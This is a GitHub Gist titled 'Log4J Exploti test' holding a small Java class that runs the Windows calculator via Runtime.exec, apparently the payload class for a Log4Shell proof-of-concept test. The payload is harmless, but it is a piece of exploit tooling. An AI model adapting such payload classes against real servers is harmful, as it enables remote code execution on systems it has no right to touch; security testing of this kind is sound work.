Created
December 10, 2021 05:07
-
-
Save otter06/1d3fb97eebc13bab77b7a8a2aff19d24 to your computer and use it in GitHub Desktop.
Log4J Exploti test
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import java.io.FileOutputStream; | |
import java.io.IOException; | |
import java.net.URL; | |
import java.nio.channels.Channels; | |
import java.nio.channels.ReadableByteChannel; | |
import java.awt.*; | |
import java.io.File; | |
public class Main { | |
public static void main(String[] args) throws IOException { | |
Runtime.getRuntime().exec("C:/WINDOWS/SYSTEM32/CALC.EXE"); | |
} | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment